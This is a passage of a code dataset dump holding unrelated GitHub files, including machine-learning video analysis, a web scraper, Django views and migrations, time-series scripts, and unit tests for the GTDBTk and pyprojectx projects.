tf.math.reduce_prod(prob_arr, 0) # joint probability for each configuration\n prob = tf.math.reduce_sum(distribution) # by lisiting all joint configurations, prob should always be 1 if DAG\n \n return prob, prob_arr2\n","repo_name":"zijunjkl/NeurIPS2020","sub_path":"BNwithConstraints/helper_function_new.py","file_name":"helper_function_new.py","file_ext":"py","file_size_in_byte":20004,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"39533082853","text":"def merge_sort(items):\n \n return divide(items, glue = merge)\n\n \ndef divide(items, glue):\n\n # conquer step - recursive base case\n if len(items) < 2:\n return items\n\n mid = len(items) // 2\n\n left = divide(items[0:mid], glue)\n\n right = divide(items[mid:], glue)\n\n # \"glue\" it all back together\n return glue(left, right)\n\n\ndef merge(left, right):\n\n result = []\n\n while left or right:\n\n if not left:\n result += right\n break\n \n if not right:\n result += left\n break\n\n # To ponder: what, if any, are the big O implications\n # of removing from front of collection?\n # Are there other data structures that may be more efficient?\n if left[0] < right[0]:\n result.append(left.pop(0))\n else:\n result.append(right.pop(0))\n\n return result\n\n \n\n","repo_name":"CodeCrew-CodeSchool/Alumni-Challenges","sub_path":"data_structures_and_algorithms/Code_401/class-27/solutions/python/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3036109825","text":"def ApplyModelsToVideo(PathSubFolderToAnalyze):\r\n import os\r\n ################################\r\n # Lister les modèles disponibles\r\n ListOfModels = []\r\n # Parcours des fichiers et dossiers dans le chemin spécifié\r\n for element in os.listdir(PathSubFolderToAnalyze):\r\n chemin_absolu = os.path.join(PathSubFolderToAnalyze, element)\r\n # Vérification si l'élément est un fichier se terminant par l'extension '.h5'\r\n if os.path.isfile(chemin_absolu) and element.lower().endswith('.h5'):\r\n ListOfModels.append(chemin_absolu)\r\n # Affichage des fichiers trouvés\r\n for model in ListOfModels:\r\n print(model)\r\n print(ListOfModels)\r\n ###########################\r\n # Lister les fichiers vidéo\r\n ListOfVideos = []\r\n # Parcours des fichiers et dossiers dans le chemin spécifié\r\n for element in os.listdir(PathSubFolderToAnalyze):\r\n chemin_absolu = os.path.join(PathSubFolderToAnalyze, element)\r\n # Vérification si l'élément est un fichier vidéo se terminant par les extensions '.mts' ou '.mp4'\r\n if os.path.isfile(chemin_absolu) and (element.lower().endswith('.mts') or element.lower().endswith('.mp4')):\r\n ListOfVideos.append(chemin_absolu)\r\n for element in ListOfVideos:\r\n if element.lower().endswith('.body.mp4'):\r\n ListOfVideos = [element]\r\n print(ListOfVideos)\r\n ##################################################################\r\n # Pour chaque modèle, appliquer pour chaque vidéo, et pour chaque image de la vidéo, le modèle\r\n import cv2\r\n from tensorflow import keras\r\n from tensorflow.keras.preprocessing import image\r\n from tensorflow.keras.optimizers import RMSprop\r\n import tensorflow as tf\r\n import numpy as np\r\n #\r\n # Vérification de la disponibilité du GPU pour TensorFlow\r\n from tensorflow.python.client import device_lib# Vérifier la disponibilité des GPU\r\n gpu_devices = [device.name for device in device_lib.list_local_devices() if device.device_type == \"GPU\"]\r\n print(gpu_devices)\r\n if not gpu_devices:\r\n print(\"Aucun GPU disponible. Veuillez vous assurer que CUDA et les pilotes NVIDIA sont correctement installés.\")\r\n XPUs = [\"/CPU:0\"]\r\n else:\r\n XPUs = [\"/GPU:0\"]\r\n for XPU in XPUs:\r\n with tf.device(XPU):\r\n #\r\n for Model in ListOfModels:\r\n model = keras.models.load_model(Model)# Chargement du modèle\r\n input_shape = model.input_shape[1:3]\r\n for PathVideo in ListOfVideos:\r\n # Ecriture des résultats dans un .csv\r\n import csv\r\n ResultPath = os.path.join(PathSubFolderToAnalyze, str(os.path.basename(Model)) + 'Ethogram.csv')# Chemin du fichier CSV\r\n # Ouvrir le fichier CSV en mode append (ajout) ou write (écriture)\r\n with open(ResultPath, 'a', newline='') as file:\r\n writer = csv.writer(file, delimiter=';')# Écrire la ligne dans le fichier CSV\r\n #############################\r\n # Sélection de la vidéo\r\n video = cv2.VideoCapture(PathVideo)\r\n # Vérification si la vidéo est ouverte correctement\r\n if not video.isOpened():\r\n print(\"Impossible d'ouvrir la vidéo.\")\r\n exit()\r\n # Boucle pour parcourir chaque frame de la vidéo\r\n frame_count = 1\r\n while True:\r\n # Lecture de la frame suivante\r\n ret, frame = video.read()\r\n # Vérification si la lecture de la frame a réussi\r\n if not ret:\r\n break\r\n ##########################################\r\n # Appliquer chaque modèle sur chaque frame\r\n threshold=0.5 # Seuil de sensibilité de détection | Seuil = 0.5 | Si diminué, alors + tolérant.\r\n #cote, cote2, canaux = frame.shape\r\n #\r\n img = np.array(frame, dtype=np.float32) # Convertir l'image OpenCV en tableau numpy\r\n img = cv2.resize(img, input_shape)\r\n img = np.expand_dims(img, axis=0) # Ajouter une dimension pour correspondre aux attentes du modèle\r\n val=model.predict(img)\r\n if val < threshold:\r\n writer.writerow([str(frame_count), 'POS'])# Écrire la ligne résultat\r\n else:\r\n writer.writerow([str(frame_count), 'NEG'])# Écrire la ligne résultat\r\n # Incrémentation du compteur de frame\r\n frame_count += 1\r\n # Vérification si la touche 'q' est pressée pour quitter la boucle\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n # Libération des ressources\r\n video.release()\r\n cv2.destroyAllWindows()\r\n ################################\r\n # Plot de l'éthogramme résultant\r\n import matplotlib.pyplot as plt\r\n # Lire le fichier CSV et extraire les valeurs de colonne 1 et les étiquettes de colonne 2\r\n valeurs_colonne1 = []\r\n etiquettes_colonne2 = []\r\n with open(ResultPath, 'r') as file:\r\n reader = csv.reader(file, delimiter=';')\r\n for row in reader:\r\n valeurs_colonne1.append(int(row[0]))\r\n etiquettes_colonne2.append(row[1])\r\n # Créer une matrice pour représenter le heatmap\r\n heatmap = np.zeros((1, max(valeurs_colonne1)))\r\n for valeur, etiquette in zip(valeurs_colonne1, etiquettes_colonne2):\r\n if etiquette == 'POS':\r\n heatmap[0, valeur-1] = 1\r\n # Créer le heatmap\r\n plt.imshow(heatmap, cmap='Greens_r', aspect='auto')\r\n # Personnaliser le graphique\r\n plt.xlabel('Frame')\r\n plt.title(str(Model))\r\n plt.xticks(range(len(valeurs_colonne1)), valeurs_colonne1, rotation='vertical')\r\n plt.yticks([])\r\n # Afficher le graphique\r\n plt.show()","repo_name":"beesixtwelvian/RodentPainTracker","sub_path":"RodentPainTracker/ApplyModelsToVideo/ApplyModelsToVideo.py","file_name":"ApplyModelsToVideo.py","file_ext":"py","file_size_in_byte":6745,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39553594042","text":"import scrapy\n\nfrom scrapy.loader import ItemLoader\n\nfrom ..items import OnecommunitybankItem\nfrom itemloaders.processors import TakeFirst\n\nbase = 'https://www.onecommunity.bank/category/news/page/{}/'\n\nclass OnecommunitybankSpider(scrapy.Spider):\n\tname = 'onecommunitybank'\n\tpage = 1\n\tstart_urls = [base.format(page)]\n\n\tdef parse(self, response):\n\t\tpost_links = response.xpath('//a[@class=\"btn\"]/@href').getall()\n\t\tyield from response.follow_all(post_links, self.parse_post)\n\n\t\tif post_links:\n\t\t\tself.page += 1\n\t\t\tyield response.follow(base.format(self.page), self.parse)\n\n\tdef parse_post(self, response):\n\t\ttitle = response.xpath('//h1/text()').get()\n\t\tdescription = response.xpath('//div[@class=\"post-body tight-text-flex-container\"]//text()[normalize-space()]').getall()\n\t\tdescription = [p.strip() for p in description]\n\t\tdescription = ' '.join(description).strip()\n\t\tdate = response.xpath('//div[@class=\"post-date\"]/text()').get()\n\n\t\titem = ItemLoader(item=OnecommunitybankItem(), response=response)\n\t\titem.default_output_processor = TakeFirst()\n\t\titem.add_value('title', title)\n\t\titem.add_value('description', description)\n\t\titem.add_value('date', date)\n\n\t\treturn item.load_item()\n","repo_name":"hristo-grudev/onecommunitybank","sub_path":"onecommunitybank/spiders/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24411237188","text":"import base64\nimport json\nimport os\nimport uuid\n\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .tasks import process_image\n\n\n@csrf_exempt\ndef exec_script(request):\n res = {}\n if request.method == 'POST':\n body_json = json.loads(request.body)\n clothing = body_json['clothing']\n img_data = body_json['image'] # base64 raw data (without prefix data:image/...)\n wd = os.getcwd() + '/keypoints/code'\n\n # Generate unique uuid\n img_id = uuid.uuid4()\n\n with open(wd + '/tmp'+str(img_id)+'.jpg', 'wb') as f:\n f.write(base64.b64decode(img_data)) # Valid only for jpg data\n f.close()\n\n # Run AI script\n res = process_image.delay('/tmp'+str(img_id)+'.jpg', clothing)\n\n return JsonResponse({'task_id': res.id})\n\ndef task_status(request, task_id):\n res = process_image.AsyncResult(task_id)\n return JsonResponse({'status': res.status, 'result': res.result})\n","repo_name":"2022-2023-INFO5-FitSize/FitSize---Backend","sub_path":"keypoints/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13090538872","text":"import socket\nimport numpy as np\nimport cv2 as cv\n\nrecevier = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n# socket 통신준비\nrecevier.bind(('192.168.16.24', 7778))\n# 바인딩\n\n# 480 * 640 * 3 / 20 = 46080\nperlength = int( (480 * 640 * 3) / 20) # packet size\nreallength = perlength + 1\n\narray = list()\nwhile True:\n message, address= recevier.recvfrom(reallength)\n # 통신 사이즈 설정\n\n str = message[1:46081]\n num_array = b''\n\n array[message[0]] = str\n\n if message[0] == 19:\n for i in range(20):\n num_array += array[i]\n frame = np.fromstring(num_array, dtype=np.uint8)\n frame = frame.reshape(480,640,3)\n cv.imshow('video receiver',frame)\n\n pass","repo_name":"jyhh1992/test_opencv","sub_path":"video_receiver.py","file_name":"video_receiver.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10064439512","text":"from __future__ import unicode_literals\n\nimport django.contrib.postgres.fields\nimport django.contrib.postgres.fields.jsonb\nimport django.contrib.postgres.fields.ranges\nimport django.core.serializers.json\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.utils.timezone\nimport model_utils.fields\nimport panels.models.entity\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [(\"panels\", \"0036_auto_20180213_1322\")]\n\n operations = [\n migrations.CreateModel(\n name=\"STR\",\n fields=[\n (\n \"id\",\n models.AutoField(\n auto_created=True,\n primary_key=True,\n serialize=False,\n verbose_name=\"ID\",\n ),\n ),\n (\n \"created\",\n model_utils.fields.AutoCreatedField(\n default=django.utils.timezone.now,\n editable=False,\n verbose_name=\"created\",\n ),\n ),\n (\n \"modified\",\n model_utils.fields.AutoLastModifiedField(\n default=django.utils.timezone.now,\n editable=False,\n verbose_name=\"modified\",\n ),\n ),\n (\"name\", models.CharField(max_length=128)),\n (\n \"position\",\n models.CharField(help_text=\"Chr:Start Position\", max_length=32),\n ),\n (\n \"normal_range\",\n django.contrib.postgres.fields.ranges.IntegerRangeField(\n blank=True, null=True\n ),\n ),\n (\n \"prepathogenic_range\",\n django.contrib.postgres.fields.ranges.IntegerRangeField(\n blank=True, null=True\n ),\n ),\n (\n \"pathogenic_range\",\n django.contrib.postgres.fields.ranges.IntegerRangeField(),\n ),\n (\n \"gene\",\n django.contrib.postgres.fields.jsonb.JSONField(\n encoder=django.core.serializers.json.DjangoJSONEncoder\n ),\n ),\n (\n \"moi\",\n models.CharField(\n choices=[\n (\"\", \"Provide a mode of inheritance\"),\n (\n \"MONOALLELIC, autosomal or pseudoautosomal, NOT imprinted\",\n \"MONOALLELIC, autosomal or pseudoautosomal, NOT imprinted\",\n ),\n (\n \"MONOALLELIC, autosomal or pseudoautosomal, maternally imprinted (paternal allele expressed)\",\n \"MONOALLELIC, autosomal or pseudoautosomal, maternally imprinted (paternal allele expressed)\",\n ),\n (\n \"MONOALLELIC, autosomal or pseudoautosomal, paternally imprinted (maternal allele expressed)\",\n \"MONOALLELIC, autosomal or pseudoautosomal, paternally imprinted (maternal allele expressed)\",\n ),\n (\n \"MONOALLELIC, autosomal or pseudoautosomal, imprinted status unknown\",\n \"MONOALLELIC, autosomal or pseudoautosomal, imprinted status unknown\",\n ),\n (\n \"BIALLELIC, autosomal or pseudoautosomal\",\n \"BIALLELIC, autosomal or pseudoautosomal\",\n ),\n (\n \"BOTH monoallelic and biallelic, autosomal or pseudoautosomal\",\n \"BOTH monoallelic and biallelic, autosomal or pseudoautosomal\",\n ),\n (\n \"BOTH monoallelic and biallelic (but BIALLELIC mutations cause a more SEVERE disease form), autosomal or pseudoautosomal\",\n \"BOTH monoallelic and biallelic (but BIALLELIC mutations cause a more SEVERE disease form), autosomal or pseudoautosomal\",\n ),\n (\n \"X-LINKED: hemizygous mutation in males, biallelic mutations in females\",\n \"X-LINKED: hemizygous mutation in males, biallelic mutations in females\",\n ),\n (\n \"X-LINKED: hemizygous mutation in males, monoallelic mutations in females may cause disease (may be less severe, later onset than males)\",\n \"X-LINKED: hemizygous mutation in males, monoallelic mutations in females may cause disease (may be less severe, later onset than males)\",\n ),\n (\"MITOCHONDRIAL\", \"MITOCHONDRIAL\"),\n (\"Unknown\", \"Unknown\"),\n (\n \"Other - please specifiy in evaluation comments\",\n \"Other - please specifiy in evaluation comments\",\n ),\n ],\n max_length=255,\n verbose_name=\"Mode of inheritance\",\n ),\n ),\n (\n \"penetrance\",\n models.CharField(\n blank=True,\n choices=[\n (\"unknown\", \"unknown\"),\n (\"Complete\", \"Complete\"),\n (\"Incomplete\", \"Incomplete\"),\n ],\n max_length=255,\n null=True,\n ),\n ),\n (\n \"publications\",\n django.contrib.postgres.fields.ArrayField(\n base_field=models.TextField(), blank=True, null=True, size=None\n ),\n ),\n (\n \"phenotypes\",\n django.contrib.postgres.fields.ArrayField(\n base_field=models.TextField(), blank=True, null=True, size=None\n ),\n ),\n (\"flagged\", models.BooleanField(default=False)),\n (\"ready\", models.BooleanField(default=False)),\n (\n \"mode_of_pathogenicity\",\n models.CharField(\n blank=True,\n choices=[\n (\"\", \"Provide exceptions to loss-of-function\"),\n (\n \"Loss-of-function variants (as defined in pop up message) DO NOT cause this phenotype - please provide details in the comments\",\n \"Loss-of-function variants (as defined in pop up message) DO NOT cause this phenotype - please provide details in the comments\",\n ),\n (\n \"Other - please provide details in the comments\",\n \"Other - please provide details in the comments\",\n ),\n ],\n max_length=255,\n null=True,\n ),\n ),\n (\"saved_gel_status\", models.IntegerField(db_index=True, null=True)),\n (\"comments\", models.ManyToManyField(to=\"panels.Comment\")),\n (\n \"evaluation\",\n models.ManyToManyField(db_index=True, to=\"panels.Evaluation\"),\n ),\n (\"evidence\", models.ManyToManyField(to=\"panels.Evidence\")),\n (\n \"gene_core\",\n models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE, to=\"panels.Gene\"\n ),\n ),\n (\n \"panel\",\n models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE,\n to=\"panels.GenePanelSnapshot\",\n ),\n ),\n (\"tags\", models.ManyToManyField(to=\"panels.Tag\")),\n (\"track\", models.ManyToManyField(to=\"panels.TrackRecord\")),\n ],\n options={\"get_latest_by\": \"created\", \"ordering\": [\"-saved_gel_status\"]},\n bases=(panels.models.entity.AbstractEntity, models.Model),\n ),\n migrations.AddIndex(\n model_name=\"str\",\n index=models.Index(\n fields=[\"panel_id\"], name=\"panels_str_panel_i_68b388_idx\"\n ),\n ),\n migrations.AddIndex(\n model_name=\"str\",\n index=models.Index(\n fields=[\"gene_core_id\"], name=\"panels_str_gene_co_bad503_idx\"\n ),\n ),\n ]\n","repo_name":"genomicsengland/panelapp","sub_path":"panelapp/panels/migrations/0037_auto_20180213_1323.py","file_name":"0037_auto_20180213_1323.py","file_ext":"py","file_size_in_byte":9510,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"8101247928","text":"import pandas as pd\n\nimport acquisition1 as aq\n\npreciotungsteno=aq.tungsten_timeseries\npreciotungsteno.drop(['success','timeseries', 'start_date','end_date', 'base'], axis=1, inplace=True)\npreciotungsteno.index.name='Date'\npreciotungsteno=preciotungsteno.rates.apply(pd.Series)\npreciotungsteno.drop('USD', axis=1, inplace=True)\npreciotungsteno['Tungsten Price']= (1/preciotungsteno['TUNGSTEN'])*32151\npreciotungsteno.drop('TUNGSTEN',axis=1, inplace=True)\npreciotungsteno.to_csv('tungsten_daily_price.csv')","repo_name":"DiegoMerello/Final-Project-Ironhack","sub_path":"wrangling.py","file_name":"wrangling.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30732470784","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndf=pd.read_csv('perrin-freres-monthly-champagne-.csv')\n\ndf.info()\n\ndf.isnull().sum()\ndf.dropna(inplace=True)\n\n#cleaning up the data\ndf.columns=['Month','Sales']\ndf.set_index('Month', inplace=True)\n\ndf.describe()\n\nplt.plot(df['Sales'].tail(50))\nplt.show()\n\n##Testing for stationarity\n\nfrom statsmodels.tsa.stattools import adfuller\n\ndef adfuller_test(sales):\n result=adfuller(sales)\n print( \"p-value \"+str(result[1]))\n\nadfuller_test(df['Sales'])\n\n\ndf['First diff'] = pd.Series.diff(df.Sales,periods=1)\ndf['seasonal diff']= pd.Series.diff(df['First diff'],periods=12)\nplt.plot(df['seasonal diff'])\nplt.show()\n\nadfuller_test(df['seasonal diff'].dropna()) #p-value 0.0002650462849293356 hence rejecting the NUll Hypothesis and concluding the time seriese is Stationary\n\n\nfrom statsmodels.graphics.tsaplots import plot_acf,plot_pacf\n\nfig = plt.figure(figsize=(12,8))\nax1 = fig.add_subplot(211)\nfig = plot_acf(df['seasonal diff'].iloc[13:],lags=40,ax=ax1)\nax2 = fig.add_subplot(212)\nfig = plot_pacf(df['seasonal diff'].iloc[13:],lags=40,ax=ax2)\nplt.show()\n\n##From ACF and PACF graph (p=2, d=1, q=1) ans S(p=1,d=12,q=1)\nimport statsmodels.api as sm\n\n#model= sm.tsa.statespace.SARIMAX(df.Sales,order=(2,1,1), seasonal_order=(1,1,1,12))\nresults=model.fit()\nresults.summary()\n\npred = results.get_prediction(start=90,end=115,dynamic=False)\n\nax=df.Sales.plot(label='Observed')\npred.predicted_mean.plot(ax=ax,label='Forecast',alphs=.7)\n\n","repo_name":"sanu-shaw/TimeSeriesLearn1","sub_path":"Time_series_analysis_SARIMAX.py","file_name":"Time_series_analysis_SARIMAX.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31528821074","text":"import pandas as pd\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView\n\nfrom apps.school.models import Classroom, Grade, Section\nfrom apps.student.models import Student\n\n\n# Create your views here.\nclass GenerateQrView(TemplateView):\n template_name = 'student/generate_qr.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n students = Student.objects.all()\n classrooms = Classroom.objects.all()\n\n context['students'] = students\n context['classrooms'] = classrooms\n\n return context\n\n\ndef import_xlsx(request):\n if request.method == 'POST':\n file = request.FILES['archivo_excel']\n if file.name.endswith('.xlsx'):\n df = pd.read_excel(file)\n for index, row in df.iterrows():\n dni = row['dni']\n first_name = row['first_name']\n last_name = row['last_name']\n grade = row['grade']\n section = row['section']\n\n grade_obj = Grade.objects.get(short_name=grade)\n section_obj = Section.objects.get(short_name=section)\n\n classroom_obj = Classroom.objects.get(grade=grade_obj, section=section_obj)\n student_obj = Student(\n dni=dni,\n first_name=first_name,\n last_name=last_name,\n classroom=classroom_obj\n )\n student_obj.save()\n return HttpResponse('Datos importados exitosamente.')\n else:\n return HttpResponse('El archivo debe estar en formato Excel (.xlsx).')\n return render(request, 'student/import_xlsx.html')","repo_name":"YLlampi/school-assistance","sub_path":"apps/student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14108717417","text":"import pandas as pd\nfrom statistics import median\nfrom sys import argv\n\nif __name__ == '__main__':\n input_file = argv[1]\n file_tf_output = argv[2]\n project_tf_output = argv[3]\n raw_data = pd.read_csv(input_file)\n\n raw_dict = {}\n tf_dict = {}\n for row in raw_data.values:\n projectID = row[0]\n file = row[3]\n changes = row[4] + row[5]\n\n try:\n raw_dict[projectID][file].append(changes)\n except KeyError:\n try:\n raw_dict[projectID][file] = [changes]\n tf_dict[projectID][file] = 0\n except KeyError:\n raw_dict[projectID] = {file: [changes]}\n tf_dict[projectID] = {file: 0}\n\n for project in raw_dict.keys():\n for filename in raw_dict[project].keys():\n changelist = raw_dict[project][filename]\n raw_dict[project][filename] = (sum(changelist), sorted(changelist))\n\n truck_factor = 1\n while truck_factor < 100:\n for project in raw_dict.keys():\n for filename in raw_dict[project].keys():\n total_changes, changelist = raw_dict[project][filename]\n if len(changelist) > 0:\n biggest_change = changelist.pop()\n if total_changes == 0:\n changes_left = 0\n else:\n changes_left = sum(changelist) / total_changes\n if changes_left < .5:\n tf_dict[project][filename] = truck_factor\n raw_dict[project][filename] = (total_changes, [])\n truck_factor += 1\n\n proj_tf_dict = {}\n with open(file_tf_output, 'w') as output_file:\n print(\"project,file,factor\", file=output_file)\n for proj, p_dict in tf_dict.items():\n tf_list = []\n for file, tf in p_dict.items():\n tf_list.append(tf)\n print(proj + \",\" + file + \",\" + str(tf), file=output_file)\n proj_tf_dict[proj] = median(tf_list)\n\n with open(project_tf_output, 'w') as output_file:\n print(\"project,factor\", file=output_file)\n for project, tf in proj_tf_dict.items():\n print(project + \",\" + str(tf), file=output_file)\n\n\n","repo_name":"tylernickr/EDS19","sub_path":"04-truck-factor/truck_factor.py","file_name":"truck_factor.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10034728467","text":"###############################################################################\r\n# #\r\n# This program is free software: you can redistribute it and/or modify #\r\n# it under the terms of the GNU General Public License as published by #\r\n# the Free Software Foundation, either version 3 of the License, or #\r\n# (at your option) any later version. #\r\n# #\r\n# This program is distributed in the hope that it will be useful, #\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of #\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #\r\n# GNU General Public License for more details. #\r\n# #\r\n# You should have received a copy of the GNU General Public License #\r\n# along with this program. If not, see <http://www.gnu.org/licenses/>. #\r\n# #\r\n###############################################################################\r\n\r\nimport unittest\r\n\r\n\r\nimport gtdbtk\r\nfrom gtdbtk import tools\r\n\r\n\r\nclass TestTools(unittest.TestCase):\r\n\r\n def test_add_ncbi_prefix(self):\r\n refname = 'GCF_123.1'\r\n self.assertEqual(tools.add_ncbi_prefix(refname), 'RS_GCF_123.1')\r\n refname = 'GCA_456.1'\r\n self.assertEqual(tools.add_ncbi_prefix(refname), 'GB_GCA_456.1')\r\n\r\n def test_splitchunks(self):\r\n test_dict = {'k1': 'v1', 'k2': 'v2',\r\n 'k3': 'v3', 'k4': 'v4'}\r\n my_gen = tools.splitchunks(test_dict, 2)\r\n self.assertEqual(len(next(my_gen)), 2)\r\n\r\n def test_splitchunks_list(self):\r\n test_list = [1, 2, 3, 4, 5, 6]\r\n my_gen = tools.splitchunks_list(test_list, 2)\r\n self.assertEqual(len(next(my_gen)), 3)\r\n\r\n def test_generateTempTableName(self):\r\n self.assertEqual(len(tools.generateTempTableName()), 24)\r\n\r\n def test_merge_two_dicts(self):\r\n a = {'k1': 'v1', 'k2': 'v2'}\r\n b = {'k3': 'v3', 'k4': 'v4'}\r\n join_dict = tools.merge_two_dicts(a, b)\r\n self.assertIn('k1', join_dict)\r\n self.assertIn('k3', join_dict)\r\n self.assertEqual(len(join_dict), 4)\r\n\r\n def test_sha256(self):\r\n file = 'gtdbtk/tests/data/genomes/genome_1.fna'\r\n self.assertEqual(tools.sha256(\r\n file), '64a8a537d4d964366d7eecefc7cb806f82db5544')\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"TJrogers86/GTDBTk","sub_path":"tests/test_tools.py","file_name":"test_tools.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"28868228158","text":"def dec_to_base_n(x, n):\n val = []\n power = 1\n while power < x:\n power *= n\n power //= n;\n while x > 0:\n digit = x // power\n val.append(digit)\n x -= digit * power\n power //= 7\n return val\n\ndef summation(n):\n return (n * (n + 1)) // 2\n\nrows = 1000000000\nmod = 7\nval = dec_to_base_n(rows, mod)\npowers = [1 for x in range(len(val))]\nfor i in range(len(powers) - 2, -1, -1):\n powers[i] = powers[i + 1] * summation(mod)\n\nresult = 0\nmultiplier = 1\nfor i, e in enumerate(val):\n x = multiplier * powers[i] * summation(e)\n result += x\n if e != 0:\n multiplier *= e + 1\nprint(result)\n","repo_name":"g-d-l/project_euler","sub_path":"done/148.py","file_name":"148.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41420881750","text":"#!/usr/local/bin/python\n\nimport argparse\n\nparser=argparse.ArgumentParser()\nparser.add_argument(\"--px\", help=\"This is the pixsize of the tomogram\",type=float)\nparser.add_argument(\"--F\", help=\"The desired freq you want to the tomogram filter to.\",type=float)\n\nargs=parser.parse_args()\n\npixsize=args.px\nnyq_freq=float(0.5)\nfreq=args.F\nreso=float(pixsize * freq * nyq_freq**-1)\n\nprint(reso)\n","repo_name":"shahpnmlab/cryoEM-Python","sub_path":"freq2ang.py","file_name":"freq2ang.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"2854168832","text":"from pathlib import Path\n\nimport pytest\n\nfrom pyprojectx.config import Config\n\n\ndef test_no_config():\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test-no-config.toml\"))\n assert config.get_tool_requirements(\"tool\") == {\"requirements\": [], \"post-install\": None}\n assert not config.is_tool(\"tool\")\n assert config.get_alias(\"alias\") == []\n\n\ndef test_no_tool_config():\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test-no-tool-config.toml\"))\n assert config.get_alias(\"run\") == [(None, \"run command\")]\n with pytest.raises(\n Warning, match=r\"Invalid alias wrong-tool-alias: 'wrong-tool' is not defined in \\[tool.pyprojectx\\]\"\n ):\n config.get_alias(\"wrong-tool-alias\")\n\n\ndef test_tool_config():\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test.toml\"))\n\n assert config.is_tool(\"tool-1\")\n assert config.get_tool_requirements(\"tool-1\") == {\"requirements\": [\"req1\", \"req2\"], \"post-install\": None}\n\n assert config.is_tool(\"tool-2\")\n assert config.get_tool_requirements(\"tool-2\") == {\"requirements\": [\"tool2 requirement\"], \"post-install\": None}\n\n assert config.is_tool(\"tool-3\")\n assert config.get_tool_requirements(\"tool-3\") == {\"requirements\": [\"req1\", \"req2\", \"req3\"], \"post-install\": None}\n\n assert config.is_tool(\"tool-4\")\n assert config.get_tool_requirements(\"tool-4\") == {\"requirements\": [\"tool-4-req1\"], \"post-install\": None}\n\n assert config.is_tool(\"tool-5\")\n assert config.get_tool_requirements(\"tool-5\") == {\n \"requirements\": [\"tool-5-req1\", \"tool-5-req2\"],\n \"post-install\": \"tool-5 && pw@alias-1\",\n }\n\n assert not config.is_tool(\"nope\")\n assert config.get_tool_requirements(\"nope\") == {\"requirements\": [], \"post-install\": None}\n\n\ndef test_alias_config():\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test.toml\"))\n assert config.get_alias(\"alias-1\") == [(\"tool-1\", \"tool-1 arg\")]\n assert config.get_alias(\"alias-2\") == [(\"tool-2\", \"tool-2 arg1 arg2\")]\n assert config.get_alias(\"alias-3\") == [(\"tool-1\", \"command arg\")]\n assert config.get_alias(\"alias-4\") == [(\"tool-2\", \"command --default @arg:x\")]\n assert config.get_alias(\"combined-alias\") == [(None, \"pw@alias-1 && pw@alias-2 pw@shell-command\")]\n assert config.get_alias(\"alias-list\") == [(None, \"pw@alias-1\"), (None, \"pw@alias-2\"), (None, \"pw@shell-command\")]\n assert config.get_alias(\"shell-command\") == [(None, \"ls -al\")]\n assert config.get_alias(\"backward-compatible-tool-ref\") == [(\"tool-1\", \"command arg\")]\n\n\ndef test_os_specific_alias_config(mocker):\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test.toml\"))\n assert config.get_alias(\"os-specific\") == [(None, \"cmd\")]\n\n mocker.patch(\"sys.platform\", \"my-os\")\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"test.toml\"))\n assert config.get_alias(\"os-specific\") == [(None, \"my-os-cmd\")]\n\n\ndef test_invalid_toml():\n with pytest.raises(Warning, match=r\".+invalid.toml: Illegal character\"):\n Config(Path(__file__).parent.with_name(\"data\").joinpath(\"invalid.toml\"))\n\n\ndef test_unexisting_toml():\n with pytest.raises(Warning, match=r\"No such file or directory\"):\n 